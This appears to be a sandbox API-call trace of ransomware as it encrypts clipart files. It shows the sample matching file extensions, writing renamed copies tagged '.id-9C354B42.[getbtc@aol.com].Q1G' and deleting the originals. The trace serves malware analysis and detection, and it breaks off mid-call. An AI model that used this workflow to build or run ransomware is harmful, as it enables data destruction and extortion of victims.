[0254.188] lstrlenW (lpString=".7z") returned 3 [0254.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.188] lstrlenW (lpString=".dbf") returned 4 [0254.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.188] lstrlenW (lpString=".1cd") returned 4 [0254.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0254.188] lstrlenW (lpString=".jpg") returned 4 [0254.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.189] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.189] lstrlenW (lpString="J0099155.JPG") returned 12 [0254.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.189] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=8826) returned 1 [0254.189] CloseHandle (hObject=0x3cc) returned 1 [0254.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0254.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.190] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.190] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.190] GetLastError () returned 0x0 [0254.190] ReadFile (in: hFile=0x3cc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x227a, lpOverlapped=0x0) returned 1 [0254.194] WriteFile (in: hFile=0x3d0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2280, lpOverlapped=0x0) returned 1 [0254.196] ReadFile (in: hFile=0x3cc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.196] WriteFile (in: hFile=0x3d0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.196] SetEndOfFile (hFile=0x3d0) returned 1 [0254.196] CloseHandle (hObject=0x3d0) returned 1 [0254.197] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.197] SetEndOfFile (hFile=0x3cc) returned 1 [0254.202] CloseHandle (hObject=0x3cc) returned 1 [0254.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0254.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString=".doc") returned 4 [0254.203] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.203] lstrlenW (lpString=".docx") returned 5 [0254.203] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0254.203] lstrlenW (lpString=".pdf") returned 4 [0254.203] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.203] lstrlenW (lpString=".xls") returned 4 [0254.203] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.203] lstrlenW (lpString=".xlsx") returned 5 [0254.203] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0254.203] lstrlenW (lpString=".ppt") returned 4 [0254.203] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString=".zip") returned 4 [0254.203] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.203] lstrlenW (lpString=".rar") returned 4 [0254.203] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.203] lstrlenW (lpString=".bz2") returned 4 [0254.203] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.203] lstrlenW (lpString=".7z") returned 3 [0254.203] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString=".dbf") returned 4 [0254.203] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString=".1cd") returned 4 [0254.203] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString=".jpg") returned 4 [0254.203] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.203] lstrlenW (lpString=".doc") returned 4 [0254.203] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.204] lstrlenW (lpString=".docx") returned 5 [0254.204] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0254.204] lstrlenW (lpString=".pdf") returned 4 [0254.204] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.204] lstrlenW (lpString=".xls") returned 4 [0254.204] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.204] lstrlenW (lpString=".xlsx") returned 5 [0254.204] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0254.204] lstrlenW (lpString=".ppt") returned 4 [0254.204] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.204] lstrlenW (lpString=".zip") returned 4 [0254.204] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.204] lstrlenW (lpString=".rar") returned 4 [0254.204] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.204] lstrlenW (lpString=".bz2") returned 4 [0254.204] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.204] lstrlenW (lpString=".7z") returned 3 [0254.204] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.204] lstrlenW (lpString=".dbf") returned 4 [0254.204] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.204] lstrlenW (lpString=".1cd") returned 4 [0254.204] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0254.204] lstrlenW (lpString=".jpg") returned 4 [0254.204] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.204] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.204] lstrlenW (lpString="J0099156.JPG") returned 12 [0254.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.205] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=13954) returned 1 [0254.205] CloseHandle (hObject=0x3cc) returned 1 [0254.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0254.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.205] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.206] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.206] GetLastError () returned 0x0 [0254.206] ReadFile (in: hFile=0x3cc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3682, lpOverlapped=0x0) returned 1 [0254.471] WriteFile (in: hFile=0x3d0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3690, lpOverlapped=0x0) returned 1 [0254.473] ReadFile (in: hFile=0x3cc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.473] WriteFile (in: hFile=0x3d0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.473] SetEndOfFile (hFile=0x3d0) returned 1 [0254.473] CloseHandle (hObject=0x3d0) returned 1 [0254.473] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.473] SetEndOfFile (hFile=0x3cc) returned 1 [0254.475] CloseHandle (hObject=0x3cc) returned 1 [0254.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0254.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.503] lstrlenW (lpString=".doc") returned 4 [0254.503] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.503] lstrlenW (lpString=".docx") returned 5 [0254.503] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0254.503] lstrlenW (lpString=".pdf") returned 4 [0254.503] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.503] lstrlenW (lpString=".xls") returned 4 [0254.503] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.503] lstrlenW (lpString=".xlsx") returned 5 [0254.503] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0254.503] lstrlenW (lpString=".ppt") returned 4 [0254.503] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.503] lstrlenW (lpString=".zip") returned 4 [0254.503] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.504] lstrlenW (lpString=".rar") returned 4 [0254.504] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.504] lstrlenW (lpString=".bz2") returned 4 [0254.504] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.504] lstrlenW (lpString=".7z") returned 3 [0254.504] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.504] lstrlenW (lpString=".dbf") returned 4 [0254.504] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.504] lstrlenW (lpString=".1cd") returned 4 [0254.504] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.504] lstrlenW (lpString=".jpg") returned 4 [0254.504] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.504] lstrlenW (lpString=".doc") returned 4 [0254.504] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.504] lstrlenW (lpString=".docx") returned 5 [0254.504] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0254.504] lstrlenW (lpString=".pdf") returned 4 [0254.504] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.504] lstrlenW (lpString=".xls") returned 4 [0254.504] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.504] lstrlenW (lpString=".xlsx") returned 5 [0254.504] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0254.504] lstrlenW (lpString=".ppt") returned 4 [0254.504] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.504] lstrlenW (lpString=".zip") returned 4 [0254.504] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.504] lstrlenW (lpString=".rar") returned 4 [0254.504] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.504] lstrlenW (lpString=".bz2") returned 4 [0254.504] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.504] lstrlenW (lpString=".7z") returned 3 [0254.505] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.505] lstrlenW (lpString=".dbf") returned 4 [0254.505] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.505] lstrlenW (lpString=".1cd") returned 4 [0254.505] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0254.505] lstrlenW (lpString=".jpg") returned 4 [0254.505] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.505] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.505] lstrlenW (lpString="J0099166.JPG") returned 12 [0254.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.517] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=64767) returned 1 [0254.517] CloseHandle (hObject=0x3d0) returned 1 [0254.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20 [0254.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0254.527] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.527] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.528] GetLastError () returned 0x0 [0254.528] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xfcff, lpOverlapped=0x0) returned 1 [0254.548] WriteFile (in: hFile=0x3cc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xfd00, lpOverlapped=0x0) returned 1 [0254.549] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.549] WriteFile (in: hFile=0x3cc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.550] SetEndOfFile (hFile=0x3cc) returned 1 [0254.550] CloseHandle (hObject=0x3cc) returned 1 [0254.550] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.550] SetEndOfFile (hFile=0x200) returned 1 [0254.553] CloseHandle (hObject=0x200) returned 1 [0254.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0254.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.554] lstrlenW (lpString=".doc") returned 4 [0254.554] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.554] lstrlenW (lpString=".docx") returned 5 [0254.554] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0254.554] lstrlenW (lpString=".pdf") returned 4 [0254.554] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.554] lstrlenW (lpString=".xls") returned 4 [0254.554] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.554] lstrlenW (lpString=".xlsx") returned 5 [0254.554] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0254.554] lstrlenW (lpString=".ppt") returned 4 [0254.554] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.554] lstrlenW (lpString=".zip") returned 4 [0254.554] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.554] lstrlenW (lpString=".rar") returned 4 [0254.554] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.554] lstrlenW (lpString=".bz2") returned 4 [0254.554] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.554] lstrlenW (lpString=".7z") returned 3 [0254.554] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.554] lstrlenW (lpString=".dbf") returned 4 [0254.554] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.554] lstrlenW (lpString=".1cd") returned 4 [0254.554] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.554] lstrlenW (lpString=".jpg") returned 4 [0254.555] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.555] lstrlenW (lpString=".doc") returned 4 [0254.555] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.555] lstrlenW (lpString=".docx") returned 5 [0254.555] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0254.555] lstrlenW (lpString=".pdf") returned 4 [0254.555] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.555] lstrlenW (lpString=".xls") returned 4 [0254.555] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.555] lstrlenW (lpString=".xlsx") returned 5 [0254.555] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0254.555] lstrlenW (lpString=".ppt") returned 4 [0254.555] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.555] lstrlenW (lpString=".zip") returned 4 [0254.555] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.555] lstrlenW (lpString=".rar") returned 4 [0254.555] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.555] lstrlenW (lpString=".bz2") returned 4 [0254.555] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.555] lstrlenW (lpString=".7z") returned 3 [0254.555] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.555] lstrlenW (lpString=".dbf") returned 4 [0254.555] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.555] lstrlenW (lpString=".1cd") returned 4 [0254.555] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0254.555] lstrlenW (lpString=".jpg") returned 4 [0254.555] 